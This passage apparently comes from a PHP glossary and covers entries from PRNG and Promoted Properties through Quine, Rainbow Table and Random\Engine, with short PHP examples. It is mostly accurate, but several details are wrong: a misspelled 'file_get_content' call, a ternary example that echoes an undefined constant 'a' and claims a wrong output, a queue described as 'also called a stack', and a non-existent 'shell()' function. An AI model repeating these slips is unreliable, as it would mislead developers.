The private keyword cannot be used with the final keyword: a private method is not visible in the child classes, and can’t also be overridden.
The private keyword cannot be used with the abstract keyword: a private method is not visible in the child classes, and can’t also be overridden.
<?php
class Elephpant {
private const HABITAT = 1;
final public function method() {
echo self::HABITAT;
}
}
?>
See Also
Related
- Final Keyword
- Visibility
- Protected Visibility
- Public Visibility
- Var
- Overwrite
- Abstract Keyword
- Data Hiding
- Modifier
- Package-Level
PRNG
A PRNG, or pseudorandom number generator, is an algorithm that produces a sequence of numbers which appears random, but is entirely determined by its initial seed. Given the same seed, a PRNG always produces the same sequence, which makes it deterministic and reproducible, unlike a true random source.
PHP’s rand() and mt_rand() are classic PRNGs, and, since 8.2, the Random\Engine interface exposes several interchangeable PRNG algorithms, such as Mt19937, PcgOneseq128XslRr64 and Xoshiro256StarStar.
PRNGs are generally not suitable for cryptography, since their output can sometimes be predicted from a partial sequence. random_bytes(), random_int() and the Random\Engine\Secure engine rely instead on a cryptographically secure pseudorandom number generator, also known as CSPRNG.
<?php
mt_srand(42);
echo mt_rand(1, 100); // always the same value for the same seed
$engine = new Random\Engine\Mt19937(seed: 42);
$randomizer = new Random\Randomizer($engine);
echo $randomizer->getInt(1, 100); // reproducible sequence
?>
See Also
Related
Procedural Programming
Procedural Programming is a programming paradigm where a program is structured as a series of step-by-step instructions, using procedures, or functions, and control flow statements like loops, conditionals, and function calls. It focuses on what to do next, in a sequential, top-down manner.
PHP supports functions and global variables needed for procedural programming.
A lot of legacy PHP code is written in a procedural style. It usually evolved to OOP, Object Oriented Programming.
See Also
Related
- OOP (Object Oriented Programming)
- Functional Programming (FP)
- Declarative Programming
- Imperative Programming
- Paradigm
Process
A process is an instance of a running program managed by the operating system. A process is executed by the web server, the operating system directly, or a worker, such as in a job queue.
A process has its own memory space, process identifier, and share nothing with other processes. It requires interprocess communications channels, such as files or sockets.
A process may spawn other processes, which may be fully independent, or act as a child process. It may also have threads, which act as child processes, though share memory with the parent process.
PHP manage processes with the pcntl extension, and some shell native functions, shell_exec(), shell(), back-ticks. It may also be managed directly by other process, such as web server or job queues.
A process may also be a consistent way for a team to work. For example, PHP development, bug processing, feature implementation, release. This is a human organization term.
Related
Production
In web development and IT infrastructure, the term production refers to the environment or set of servers where the final, fully functional version of an application is deployed and actively running for real users or a live audience. This environment is public-facing, meaning any bugs, performance issues, or downtime directly affect actual end-users. It is distinct from development, testing, or staging environments, as its main purpose is to serve live traffic and real business operations. Proper monitoring, security, and optimization are critical in production environments to ensure reliability and performance.
See Also
Related
PHP Profiler
A profiler is an application that helps track execution performances, and spots slow parts of the application for optimization.
PHP has several profilers. They may provide an online interface to visualize the results, or a local server, or even a raw execution breakdown, which may then be processed to identify the bottlenecks.
<?php
// code to use with PHP-spx, one of PHP profilers
while ($task = get_next_ready_task()) {
spx_profiler_start();
try {
$task->process();
} finally {
spx_profiler_stop();
}
}
?>
See Also
Related
Profiling
Profiling is the process of measuring the performance of a program to identify bottlenecks and areas for optimization.
Profiling is typically done using extensions like Xdebug, Blackfire, Tideways or XHProf. These tools provide insights into:
- Function execution time
- Memory usage
- Call graphs
- Hot paths in the code.
See Also
Related
Program To Interface
Program to an interface means the code should depend on abstractions, not concrete implementations. It should type with interfaces, not with concrete classes.
It’s one of the most important OOP design principles. Using interface allows for multiple classes of objects to be used, as long as they provide the right methods; it helps with testing, by allowing alternative mock objects; it introduce flexibility and reduce coupling.
<?php
interface Customer {}
class WebCustomer implements Customer {}
// using an abstraction: different type of customers may be used here
function invoice(Customer $customer) {}
// using a concrete class: it cannot be swapped easily, unless with inheritance
function bill(WebCustomer $customer) {}
?>
See Also
Related
Promise
A promise is a programming construct used in asynchronous programming to handle the results or errors of an asynchronous operation that may not have completed yet. It allows developers to write code that can continue executing while waiting for the completion of a long-running task, such as making an HTTP request or querying a database.
Promises follow the concept from the context of the Promises/A+ specification, which is a widely adopted standard for asynchronous programming in many programming languages.
Promises are commonly used with libraries or frameworks that provide asynchronous functionality, such as Guzzle for making HTTP requests or ReactPHP for building asynchronous applications.
See Also
Related
Related packages
Promoted Properties
Promoted properties are a class’s arguments, which are declared as properties and automatically assigned their value at instantiation.
Introduced in version 8.0, constructor property promotion lets a visibility modifier, public, protected, or private, and optionally a type declaration, be added directly to a constructor parameter. PHP then declares a property of the same name on the class and assigns it the parameter’s value automatically, without any explicit $this->property = $property; line inside the constructor body.
This mainly removes boilerplate in classes whose constructor does nothing but assign incoming arguments to properties, such as data transfer objects or value objects. Promoted and non-promoted parameters can be mixed in the same constructor, but a promoted property cannot also have a separate property declaration elsewhere in the class, and the feature is not available in abstract constructors or interface methods, since those have no body to promote into.
<?php
class Elephpant {
function __construct($trunkLength, public int $promotedProperty) {
$this->trunkLength = $trunkLength; // manual initialization
// not initilization of $this->promotedProperty, as it is automatic
echo $promotedProperty; // the variable version is available for further processing
echo $this->promotedProperty; // the property is available immediately
}
}
?>
See Also
Related
Propagation
Propagation is the consequence of one piece of code, that applies to another part of the code, via a dependency.
In the example code, trumpet() and forage() are not typed, with arguments nor with return. Yet, the final call to strlen() means that both parameters must be string and both their return type will be int. The types propagated from strlen() to the other functions.
Propagation is visible with types, as illustrated; it also applies to functions that die or use the never return type; and to unused piece of code, where not using a piece of code renders any called code unused, and, also useless.
Propagation is often silent, and does not yield error. Yet, it implies structure in the code, that makes it difficult to update.
<?php
// type propagation via calls
function trumpet($trunk) {
forage($trunk);
}
function forage($trunk) {
migrate($trunk);
}
function migrate($trunk) {
strlen($trunk);
}
// useless function, via lack of usage
function bathe($trunk) {
// doSomething
}
// $result is not used,
// so bathe() is not used
$result = bathe(1);
?>
See Also
Related
Property-Based Testing
Property-based testing is a testing technique where, instead of writing individual examples, the developer describes properties that should always hold for a function, then a framework generates a large number of random inputs to try to falsify them. For instance, reverse(reverse($array)) === $array should hold for any array.
When a failing case is found, most property-based testing frameworks shrink the input to the smallest counter-example that still fails, which makes the root cause much easier to identify than with a single random failure.
This approach complements example-based unit tests: it explores the input space more broadly and often uncovers edge cases, such as empty arrays, negative numbers, or unicode strings, that developers would not have thought to write by hand.
Popular PHP implementations include Eris and PHP-Quickcheck, inspired by Haskell’s QuickCheck.
<?php
use Eris\Generator;
use Eris\TestTrait;
class ReverseTest extends \PHPUnit\Framework\TestCase
{
use TestTrait;
public function testReverseIsInvolution(): void
{
$this->forAll(Generator\seq(Generator\int()))
->then(function (array $array) {
$this->assertEquals($array, array_reverse(array_reverse($array)));
});
}
}
?>
See Also
Related
Related packages
Property Hook
Property hooks are a feature of PHP 8.4, where accessors can be defined with the property.
Hooks are for set and get: they allow extra commands to be always executed at setting or getting time of a property.
Hooks look like the magic methods __set and __get, with a few differences: they are dedicated to a property, and easier to write.
Property hooks are also called Property Accessors, in other languages.
<?php
class Elephpant {
public string $trunkLength {
// this is the single line definition of a hook
// the expression is the returned value
get => $this->trunkLength . '1';
set {
// $value is the unique parameter of that function
$this->trunkLength = $value;
}
}
}
?>
See Also
- PHP 8.4 Property Hooks
- PHP 8.4 Property Hooks: The Ultimate Guide for Developers
- PHP RFC: Property hook improvements
- A Guide to PHP 8.4 Property Hooks
- PHP’s New Property Hooks Are Here—But Should You Use Them?
- Using property hooks in PHP
Related
- Properties
- __get() Method
- __set() Method
- Magic Methods
- Double Arrow
- Magic Constants
- Virtual Property
- Writeable
- Class Getter Method
- Property Type Declaration
Properties
Class properties are variables, local to an object or a class.
Class properties might have visibility, chosen among: public, protected and private. public is the default.
Class properties might have an asymmetric visibility for writing, chosen among: public(set), protected(set) and private(set). By default, it is the same as the read visibility.
Class properties might have a default value. By default it is null.
Class properties might have a type, since PHP 7.4
Class properties might be readonly, for properties which are only set once, and cannot be modified.
Class properties might be static, and not related to an object, but to a class.
A property must be uniquely defined in a class. Class properties may be redefined in children or parent when the visibility allows it.
Properties are also called members.
<?php
class Elephpant {
private $trunkLength = 1;
}
?>
See Also
Related
- Visibility
- static
- Class
- Interface
- Trait
- Enumeration (enum)
- Readonly
- Attribute
- Default Value
- Magic Property
- Dynamic Properties
- Property Hook
- Type System
- Asymmetric Visibility
- Data Container
- Static Property
- stdclass
- Typed Property
- Method
- Readable
- Virtual Property
- Writable
- get_object_vars()
- Promoted Properties
- Property Type Declaration
- Var
- Writeable
- Non-static
- State
- Computed Property
- Data Hiding
- Modifier
- Mutability
- Constructor Property Promotion
- Null Safe Object Operator
- Object Operator ->
- Short Assignations
Proprietary Source
Proprietary source code is software whose source code is not publicly available and is protected by copyright and licensing restrictions. Unlike open-source software, proprietary software cannot be freely studied, modified, or redistributed.
Proprietary PHP source may be distributed as encoded files, with ionCube, SourceGuardian, or Zend Guard; as compiled extensions, or simply as closed-source packages distributed through private Composer repositories.
Protecting PHP source code is challenging because PHP is an interpreted language. Encoding tools obfuscate the bytecode, but the original logic can sometimes be reverse-engineered. PHP extensions written in C can also ship precompiled as .so / .dll files and are harder to analyse.
The distinction between proprietary and open-source matters for security audits, license compliance, and vendor lock-in assessments.
<?php
// Proprietary library loaded as an encoded file (ionCube example)
// The actual source is not readable; only the encoded .php file is shipped.
require 'licensed-module.php';
$service = new ProprietaryService();
$service->run();
?>
Related
Protected Visibility
The protected keyword is part of the three keywords to define visibility of a method, property or constant. It is the middle level of visibility: it restricts usage to the current class, its parents and children.
<?php
class Elephpant {
public function methodY() {
// dependency on the child class
echo self::HABITAT;
}
}
class AfricanElephpant extends Elephpant {
protected const HABITAT = 1;
public function method() {
echo self::HABITAT;
}
}
class Calf extends AfricanElephpant {
public function methodY() {
echo self::HABITAT;
}
}
?>
See Also
- PHP protected Keyword - Visibility Modifier in PHP
- The Beginner’s Guide to Understanding Visibility in PHP
Related
Protocol Buffers
protobuf is a PIE extension implementing Protocol Buffers, Google’s language-neutral, binary serialization format. Messages are defined once in a .proto schema file, then compiled by the protoc compiler into PHP classes, generated getters, setters, and serialization code, that the extension accelerates at runtime.
Protobuf-encoded messages are smaller and faster to encode and decode than JSON or XML, because the format is binary and schema-driven: field names are not repeated in every message, only compact field tags are. This makes it a natural fit for high-throughput RPC, most notably as the wire format used by gRPC, and for systems that need forward- and backward-compatible schema evolution, since fields can be added or deprecated without breaking older readers.
The extension provides a native C implementation of the generated message classes; without it, the pure-PHP runtime from the google/protobuf Composer package is used instead, which works but is considerably slower for large messages.
<?php
// person.proto defines:
// message Person { string name = 1; int32 id = 2; }
// compiled with: protoc --php_out=. person.proto
$person = new Person();
$person->setName('Ada');
$person->setId(1);
$binary = $person->serializeToString();
$decoded = new Person();
$decoded->mergeFromString($binary);
echo $decoded->getName();
?>
See Also
Related
- gRPC (Google Remote Procedure Call)
- JavaScript Object Notation (JSON)
- Serialization
- PHP Installer For Extensions (PIE)
Related packages
Protocol
A protocol is the scheme part of a URL, with an associated wrapper.
In a URL like ftp://www.site.com/file.txt, the protocol is ftp, and relates to the FTP protocol. It is also a predefined PHP wrapper.
<?php
$html = file_get_content('http://www.php.net/');
?>
See Also
Related
- Wrapper
- Hyper Text Transfer Protocol (HTTP)
- Hyper Text Transfer Protocol Secure (HTTPS)
- php://
- Stream Wrapper
- Model Context Protocol (MCP)
- OAuth
- Path
- PHP Wrappers
Prototype
The prototype pattern creates new objects by copying an existing, fully-configured instance, called the prototype, rather than instantiating the class and reassembling its state from scratch. It is useful when constructing an object is expensive, such as one built from a database query or a network call, or when the exact concrete class of the object to copy is only known at runtime.
PHP supports this pattern natively through the clone keyword, which creates a shallow copy of an object, duplicating each scalar property directly. Object properties are copied by reference by default, so nested objects still point to the same instance as the original; a class that needs an independent copy of its nested objects implements the __clone() magic method, which PHP calls automatically right after the shallow copy is made, to explicitly clone those nested objects too and produce a genuine deep copy.
<?php
class Address {
public function __construct(public string $city) {}
}
class Employee {
public function __construct(public string $name, public Address $address) {}
public function __clone(): void {
// without this, both employees would share the same Address instance
$this->address = clone $this->address;
}
}
$original = new Employee('Ada', new Address('London'));
$copy = clone $original;
$copy->address->city = 'Paris';
echo $original->address->city; // 'London', unaffected by the copy
?>
See Also
Related
Proxy Class
A proxy class is a class that stands in for another class, intercepting calls and delegating them to the real object. Proxy classes are used to add behaviour transparently: lazy initialisation, access control, logging, or caching.
PHP 8.4 introduced native lazy objects at the engine level, enabling the creation of proxy instances that defer construction of the wrapped object until it is first accessed. This replaces many library-based approaches for virtual proxies.
Before PHP 8.4, proxy classes were typically generated at runtime using tools such as ocramius/proxy-manager or Symfony’s lazy service proxies. These tools generate a subclass that overrides every method to intercept calls, then delegates to the real instance.
A proxy class must implement the same interface or extend the same base class as the proxied object so that it is transparent to callers.
<?php
// PHP 8.4 native lazy proxy
class HeavyService
{
public function __construct()
{
// Expensive initialization
}
public function compute(): int
{
return 42;
}
}
$reflector = new ReflectionClass(HeavyService::class);
$proxy = $reflector->newLazyProxy(function (HeavyService $proxy): HeavyService {
return new HeavyService(); // called only on first access
});
// HeavyService::__construct() has not been called yet
echo $proxy->compute(); // triggers initialisation, outputs 42
?>
See Also
Related
- Proxy
- Lazy Objects
- Lazy Loading
- Interface
- Design Pattern
- Decorator Pattern
- Direct Output
- Flexibility
Related packages
Proxy
A proxy class is a structural design pattern that provides a substitute or placeholder for another object. The proxy controls access to the original object, allowing actions to be performed before or after the request reaches it.
A proxy implements the same interface as the real subject, so it can be used wherever the original object is expected. The actual object is stored inside the proxy, which delegates calls to it.
Common proxy types are: virtual proxy, for lazy initialization, protection proxy, for access control, logging proxy, for recording operations for audit or debugging, and caching proxy, for storing results to avoid repeated work.
Proxy classes are often built using magic methods such as __call(), __get(), and __set() to intercept and forward access transparently. PHP 8.4 also introduced native lazy objects in the engine, which implement the virtual proxy pattern at the language level.
<?php
interface UserRepository {
public function find(int $id): array;
}
class RealUserRepository implements UserRepository {
public function find(int $id): array {
// expensive database call
return ['id' => $id, 'name' => 'Alice'];
}
}
class CachingUserRepositoryProxy implements UserRepository {
private array $cache = [];
public function __construct(private UserRepository $real) {}
public function find(int $id): array {
if (!isset($this->cache[$id])) {
$this->cache[$id] = $this->real->find($id);
}
return $this->cache[$id];
}
}
$repo = new CachingUserRepositoryProxy(new RealUserRepository());
$user = $repo->find(1); // hits the database
$user = $repo->find(1); // served from cache
?>
See Also
Related
Related packages
Psalm
Psalm is a static analysis tool for PHP, developed to find type errors and bugs by reading docblock type annotations and inferring types across the codebase without running it.
Psalm is able to:
- Detect type errors, dead code, and impossible conditions
- Infer and check the generics-like docblock type language used across the PHP ecosystem, including template covariance and conditional types
- Enforce increasingly strict checking through configurable error levels
- Perform taint analysis to trace untrusted input through the codebase
- Run in continuous integration alongside tools such as PHPStan.
See Also
Related
- Static Code Analysis (SCA)
- PHPStan
- Docblock
- Type Checking
- Type Parametricity
- Taint Analysis
- Continuous Integration (CI)
Related packages
Pseudo-type
A pseudo-type is a keyword and a type that describes an input or output, but is not an actual type.
For example, iterable represents both array and Traversable objects, yet a variable cannot be both, not be instantiated as such.
Union type, DNF or intersectional types are not pseudo-types, as they are made of multiple keywords.
There are several pseudo-type: mixed, callable, object, iterable.
<?php
function trumpet(iterable $trunk) { }
trumpet([]); // OK
trumpet(new ArrayIterator([1])); // OK
trumpet(1); // KO
?>
See Also
Related
Pseudo-variable
A pseudo-variable is a term used to describe a variable that looks like a variable but does not represent one. Instead, it is a special case that has a specific meaning within its context. $this is the only pseudo-variable: it represents the object that is called.
<?php
class Elephpant {
private string $name;
function __construct($name) {
$this->name = $name;
}
function trumpet() {
// $this represents any object of type Elephpant
print $this->name;
}
}
// $trunk represents only the object 'a', type Elephpant, until it is reassigned
$trunk = new Elephpant('a');
// $calf represents only the object 'b', type Elephpant, until it is reassigned
$calf = new Elephpant('b');
?>
See Also
Related
Pseudonymisation
Pseudonymisation is the processing of personal data so that it can no longer be attributed to a specific individual without additional information, which is kept separately and protected.
Unlike anonymisation, pseudonymisation is reversible: the original identity can be recovered by combining the pseudonymised data with the separately-held mapping. Under the GDPR, pseudonymised data is still considered personal data, whereas properly anonymised data is not.
A common implementation replaces a direct identifier, such as an email address, with a token, hash, or surrogate key, while keeping the correspondence table isolated from the rest of the system.
<?php
function pseudonymize(string $userId, string $secret): string
{
// reversible only by whoever holds the mapping / secret
return hash_hmac('sha256', $userId, $secret);
}
$token = pseudonymize('user-1234', $secretKey);
?>
See Also
Related
PHP Standards Recommendations (PSR)
PSR stands for PHP Standards Recommendations. This is a set of rules and best practices, that may be adopted by any PHP project. It will help adopt common behavior and improve collaboration between projects.
PSR are edited by the PHP-FIG: Framework Interoperability Group.
There are 22 PSR in 2026, covering subjects such as cache, factories, log, coding standards, etc.
See Also
- PHP extension providing the accepted PSR interfaces
- Why You Should Implement PHP Coding Standards (PSR) in Your Projects
- The PSR Standards You Are Probably Ignoring
Related
- Framework Interoperability Group (FIG)
- Clock
- Code Formatter
- Dependency Injection Container
- Interoperability
- Middleware Pattern
- composer\.json
- Error_log()
- Slim
- Streamable
Public Visibility
The public keyword is part of the three keywords to define visibility of a method, property or constant. It is the lowest level of visibility: it doesn’t restrict usage.
public is also the default visibility when it is omitted.
<?php
class Elephpant {
// public constant
const HABITAT = 1;
public $trunkLength = 2;
}
$elephpant = new Elephpant;
echo $elephpant->trunkLength;
echo Elephpant::HABITAT;
?>
See Also
Related
Pub/Sub
Publish/Subscribe, or pubsub for short, is a messaging pattern in which message producers, the publishers, send messages to named channels or topics without knowing who will receive them, and message consumers, the subscribers, register interest in topics and receive only the messages published to those topics.
This decoupling makes pubsub well-suited for event-driven architectures, microservice communication, and real-time notification systems.
Pub/Sub can be implemented:
- In-process: using an event dispatcher
- Via message brokers: using Redis Pub/Sub, AMQP, Apache Kafka, or Google Cloud Pub/Sub, accessed through PHP client libraries
- Via Server-Sent Events, SSE or WebSockets: for real-time browser notifications.
pubsub differs from a message queue in that a queue typically delivers each message to a single consumer, while pubsub delivers to all active subscribers.
<?php
// PSR-14 event dispatcher as an in-process Pub/Sub
use Psr\EventDispatcher\EventDispatcherInterface;
// Publisher
final class OrderService
{
public function __construct(
private readonly EventDispatcherInterface $dispatcher,
) {}
public function placeOrder(Order $order): void
{
// ... persist order ...
$this->dispatcher->dispatch(new OrderPlacedEvent($order));
}
}
// Subscriber / Listener
final class SendOrderConfirmationListener
{
public function __invoke(OrderPlacedEvent $event): void
{
// send confirmation email
}
}
?>
See Also
Related
- Message Bus
- Message Queue
- Event Driven
- Listener
- Observer Design Pattern
- Decoupling
- Server Sent Event (SSE)
- Websocket
- Change Data Capture
- Event Streaming
- Request-Response
Related packages
Pure Function
A pure function is a function with no side effects. It adheres to two fundamental principles:
- Determinism: for the same input, a pure function will always return the same output. There are no hidden dependencies or side effects that could change the result.
- No side-effect: a pure function does not modify any external state or data. It does not change variables outside its scope, write to a database, modify a file, or perform any action that affects the world outside the function.
A function that is not pure is an impure function.
This notion applies to functions, methods, native and custom functions, closures and arrow functions.
<?php
function add(int $a, int $b): int {
return $a + $b;
}
?>
See Also
Related
Progressive Web App
A Progressive Web App, or PWA, is a web application that uses modern browser APIs to deliver an app-like experience: offline support, push notifications, home-screen installation, and fast loading. PWAs are built with standard web technologies, such as HTML, CSS, and JavaScript, and progressively enhance the experience based on the device’s capabilities.
PHP typically acts as the backend for a PWA, exposing REST or GraphQL APIs that a JavaScript front-end consumes. PHP itself does not run in the browser, so the PWA logic lives in JavaScript.
Key PWA components PHP can serve:
- The
manifest.jsonfile that describes the app’s name, icons, and display mode - A service worker registration script. The worker itself is static JavaScript
- API endpoints that the front-end fetches while online and caches for offline use
PHP frameworks such as Symfony and Laravel ship tools and bundles for generating manifests and managing API layers that power PWAs.
<?php
// PHP serving the Web App Manifest
header('Content-Type: application/manifest+json');
echo json_encode([
'name' => 'My PWA',
'short_name' => 'PWA',
'start_url' => '/',
'display' => 'standalone',
'background_color' => '#ffffff',
'theme_color' => '#3367D6',
'icons' => [
['src' => '/icons/icon-192.png', 'sizes' => '192x192', 'type' => 'image/png'],
['src' => '/icons/icon-512.png', 'sizes' => '512x512', 'type' => 'image/png'],
],
]);
?>
See Also
Related
- Application Programming Interface (API)
- REST API
- JavaScript Object Notation (JSON)
- Javascript
- Single Page Application (SPA)
- Mobile Application
Quality of Service (QoS)
Quality of Service, also known as QoS, refers to the overall level of performance and reliability of a service, particularly in terms of network, application, or infrastructure behavior. It encompasses metrics such as throughput, latency, jitter, availability, and error rates.
In applications, QoS is managed through practices such as rate limiting, load balancing, caching, and circuit breakers, ensuring the application meets expected performance thresholds under varying conditions.
See Also
Related
- Service Level Agreement (SLA)
- Monitoring
- Performance
- Availability
- Load Balancer
- Circuit Breaker
- Rate Limiting
- Scaling
- Latency
- Reliability
Quality
Code quality describes how well software code meets the goals of being correct, readable, maintainable, efficient, and reliable over time. It’s not just about whether code works: it’s about how easy it is to understand, change, and extend without introducing problems.
See Also
Related
- Readability
- Test
- Maintenability
- Performance
- Consistency
- Analysis
- Code Review
- Code Smell
- Code Inventory
Query String
The query string is a part of a URL that contains data and parameters to be passed to a web server. It is typically located at the end of a URL and starts with a question mark ?, followed by key-value pairs separated by ampersands &.
The values passed in the query string are available in the $_GET superglobal array. The keys of this array correspond to the names of the parameters in the query string, and the values are the corresponding values passed.
<?php
// https://www.example.com/index.php?x=1
print_r($_GET);
Array(
[x] => 1
)
?>
See Also
Related
Related packages
Query
Query is a generic term. It refers to a command, written in a specific format, and that is processed by a separate engine.
Hence, query has several usages:
- SQL query, when sending command to a SQL server. This is possibly the most common usage.
- The query string, a part of the URL
- HTTP query, when processing or submitting command via HTTP
- LDAP query, when communicating with a LDAP server.
See Also
Related
- Structured Query Language (SQL)
- Lightweight Directory Access Protocol (LDAP)
- Hyper Text Transfer Protocol (HTTP)
- Query String
- Client
- parse_str()
- Response
- Server
Question Mark ?
? is a character, used in various situations.
- Ternary operator:
$a ? $b : $c - Short ternary operator:
$a ?: $c - Coalesce operator:
$a ?? - Null type,
function foo(?int $int) {} - As a quantifier in regex, 0 or 1
- As a quantifier with
fnmatch(), 0 or 1.
<?php
$a = 1;
echo a ? 'b' : 'c'; // c
?>
Related
Queue
A queue may be one of the following:
- A datastructure, also called a stack, built on top of arrays
- A class, in the
ext/ds, the data structures extension - A job Queue, which collect and dispatch loads of work, to background processes.
See Also
Related
- Datastack
- Jobqueue
- Message Queue
- array_shift()
- Data Structure
- Data Structure
- Channel
- Deduplication
- Retry
- Webhook
- Backoff
- Gearman
- RdKafka
- Worker
QUIC
QUIC is a transport protocol that runs over UDP instead of TCP. It was originally designed at Google and later standardized by the IETF; it is the transport that powers HTTP/3.
QUIC bundles together several things that used to be separate layers: it multiplexes multiple independent streams over a single connection, so a lost packet on one stream no longer blocks the others, unlike HTTP/2 over TCP, which suffers from head-of-line blocking. It also folds the TLS 1.3 handshake into the connection setup, supports 0-RTT resumption for returning clients, and allows a connection to survive the client changing IP address or network, aka connection migration, since connections are identified by a connection ID rather than by the traditional IP/port tuple.
Because QUIC re-implements reliability, congestion control, and loss recovery in userspace instead of relying on the kernel’s TCP stack, most implementations, like ngtcp2 or quiche, are separate libraries rather than an OS-level socket type. PHP does not support QUIC natively; support requires a dedicated extension, typically built with FFI or a C extension binding to one of those libraries, and depends on OpenSSL 3.5+ for the QUIC-aware TLS APIs.
See Also
Related
- User Datagram Protocol (UDP)
- Transport Layer Security (TLS)
- HTTP/3
- Application-Layer Protocol Negotiation (ALPN)
- OpenSSL
- Foreign Function Interface (FFI)
- PHP Extensions
Quine
A quine is a self-replicating computer program. It is a piece of source code that, when executed, produces its own exact source code as output and nothing else, without reading any file, argument, or external input. The concept is named after the philosopher Willard Van Orman Quine, who studied indirect self-reference, and is closely tied to the diagonal lemma and fixed-point theorems in mathematical logic and computability theory, which guarantee that such self-referential constructions are always possible in any sufficiently expressive programming language. Writing a quine is a classic recreational programming exercise and a popular subject of programming-language golf, because the naive approach of simply printing the source code as a string runs into an infinite regress, the string literal representing the code would itself need to contain a representation of itself, which is usually solved with a technique that stores the code as data, then uses string formatting or escaping to reinject that data into itself when printing. This is commonly done with sprintf-style placeholders and character codes to represent quotes safely. Beyond being a curiosity, quines are occasionally cited as a conceptual illustration of how self-modifying or self-propagating code, including malware, can be constructed, which is why some sources flag them as a security-adjacent topic.
<?php
$code = '<?php
$code = %c%s%c;
printf($code, 39, $code, 39);';
printf($code, 39, $code, 39);
See Also
- PHP Quine
- PHP Quines: Self-Replicating Code Explained
- Quine (ath.cx)
- Why Self-Replicating Code (Quines) in PHP Is a Security Red Flag
Related
Quoted Printable
Quoted-printable is a content transfer encoding defined in RFC 2045 that’s primarily used in email to ensure that message data remains intact when transmitted over protocols that are not 8-bit clean, such as SMTP.
<?php
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/plain; charset=UTF-8\r\n";
$headers .= "Content-Transfer-Encoding: quoted-printable\r\n";
$body = quoted_printable_encode("Café\nRésumé");
mail("example@php.net", "Some subject", $body, $headers);
?>
See Also
Related
Race Condition
A Race Condition is a broad term for any situation where the outcome of a program depends on the timing of uncontrollable events.
Race conditions happen in file systems, database accesses, sessions, cache, global variables, signals.
Race conditions may be mitigated by using atomic operations, transactions, locks and unique identifiers.
<?php
if (!file_exists('/path/to/directory')) {
// race condition
mkdir('/path/to/directory', 0755); // This might fail as the directory may be created between the time of the previous check and now
}
?>
See Also
- PHP Race Condition Vulnerability Example
- PHP MySQLi - Race condition 🏁
- Symfony Lock + Workflow: Taming the Race Condition that will hit you in production
Related
- Atomic Operation
- Unique Identifier
- Lock
- Transaction
- Session
- Security
- Time Of Check To Time Of Use (TOCTOU)
- Actor Model
- Cache Stampede
- Concurrency
- Mutex
- Software Transactional Memory (STM)
RACI Model
RACI model is an accountability model, which lists
- Responsible: who completes the task.
- Accountable: who validates the correct completion of the deliverable
- Consulted: who provides expert advice on the situation
- Informed: who is kept informed, though does not participate directly
Other responsibility models exist.
See Also
Related
Retrieval Augmented Generation (RAG)
Retrieval Augmented Generation, aka RAG, is a technique used in artificial intelligence, especially in large language models, to improve the accuracy and relevance of generated responses.
RAG is widely used in chatbots, search engines, and knowledge management systems to provide better, more reliable answers.
See Also
- Building a RAG (Retrieval-Augmented Generation) system in PHP with Neuron AI
- Implementing Retrieval Augmented Generation (RAG)
Related
- Vector Database
- Large Language Model (LLM)
- Model Context Protocol (MCP)
- Artificial Intelligence (AI)
Related packages
Railroad Programming
Railroad programming is a functional programming paradigm that manages flow control, especially success vs failure, without messy if/else chains or exceptions everywhere.
The image comes from the sequence of step, expressed as a train track: one rail links the different successes, while the other rail links all the failures. It is possible to go from success to failure.
See Also
- Railway Oriented Programming: A Functional Approach to Error Handling
- Railway-Oriented Programming in PHP
Related
Rainbow Table
A rainbow table is a precomputed table used to reverse cryptographic hash functions, mainly to recover plaintext passwords from their hash. Instead of hashing every candidate password on demand, an attacker precomputes long chains of hash and reduction operations, keeps only the endpoints, and can then look up a captured hash in a fraction of the time a brute-force search would take, at the cost of a large upfront computation and storage effort.
Rainbow tables are defeated by salting: prefixing or suffixing every password with a random, per-user value before hashing. This forces an attacker to build a distinct table for every possible salt, which makes the precomputation cost prohibitive. This is precisely why password_hash() salts automatically, and why raw md5() or sha1() should never be used to store passwords.
<?php
// password_hash() salts automatically: a rainbow table cannot help here
$hash = password_hash('correct horse battery staple', PASSWORD_DEFAULT);
// unsalted hash: vulnerable to a lookup in a precomputed rainbow table
$unsafeHash = md5('correct horse battery staple');
?>
See Also
Related
Random Access
Random access is the ability to read or write any element of a data structure, or any byte of a file, directly, in constant time, without having to traverse the elements that precede it. It is opposed to sequential access, where reaching the n-th element requires visiting every element before it.
Arrays and hash maps typically offer random access: a PHP array, whether indexed or associative, is actually an ordered hash map under the hood, and supports O(1) average-time access to any key, be it $array[5] or $array['name']. Linked lists, by contrast, only offer sequential access: reaching the n-th node means walking the list from its head.
Random access also applies to files: fopen() combined with fseek() lets a program jump directly to any offset of a file and read or write from there, instead of reading it sequentially from the start. This is essential for large files, or for formats such as fixed-length record files, where the position of a given record can be computed directly.
<?php
$array = ['a', 'b', 'c', 'd'];
echo $array[2]; // random access: 'c', without reading 'a' and 'b' first
$handle = fopen('data.bin', 'rb');
fseek($handle, 100); // jump directly to byte 100
$chunk = fread($handle, 10);
?>
See Also
Related
Random
Random generators generate numbers or strings.
random_bytes(), random_int() and openssl_random_pseudo_bytes() produce pseudo-random data, suitable for cryptography.
Traditional native functions, such as rand() and mt_rand(), are not recommended for cryptography.
<?php
$bytes = random_bytes(5);
var_dump(bin2hex($bytes));
?>
See Also
Related
Random\CryptoSafeEngine
Random\CryptoSafeEngine is a marker interface Random extension. Any Random\Engine that also implements this interface guarantees cryptographically secure output.
The only built-in engine implementing it is Random\Engine\Secure. Type-hinting against CryptoSafeEngine enforces that callers provide a secure source of randomness.
Random\CryptoSafeEngine was introduced in version 8.2.
<?php
function generateToken(Random\CryptoSafeEngine $engine): string {
$randomizer = new Random\Randomizer($engine);
return bin2hex($randomizer->getBytes(16));
}
$token = generateToken(new Random\Engine\Secure());
?>
See Also
Related
Random\Engine
Random\Engine is the base interface for all random number generator engines introduced in version 8.2. It defines a single method generate(): string that produces a string of random bytes.
Built-in engines include Random\Engine\Mt19937, Random\Engine\PcgOneseq128XslRr64, Random\Engine\Xoshiro256StarStar, and the cryptographically secure Random\Engine\Secure. Custom engines can be implemented by adding this interface.
<?php
$engine = new Random\Engine\Mt19937(seed: 42);
$randomizer = new Random\Randomizer($engine);
echo $randomizer->getInt(1, 100);
?>
See Also
Related
Range Type
A first-class range type represents an interval of values, such as 1..10 in Rust or Kotlin, or 1...10 in Swift, as a value in its own right, with its own type. A range can be stored in a variable, passed to a function, matched against with pattern matching, or iterated lazily, and the language often overloads slicing and for syntax to accept it directly.
Because a range is a value, not just a loop construct, it can express things such as switch x { 1..5 => ..., 6..10 => ... } or a slice bound arr[2..5] using the same type.
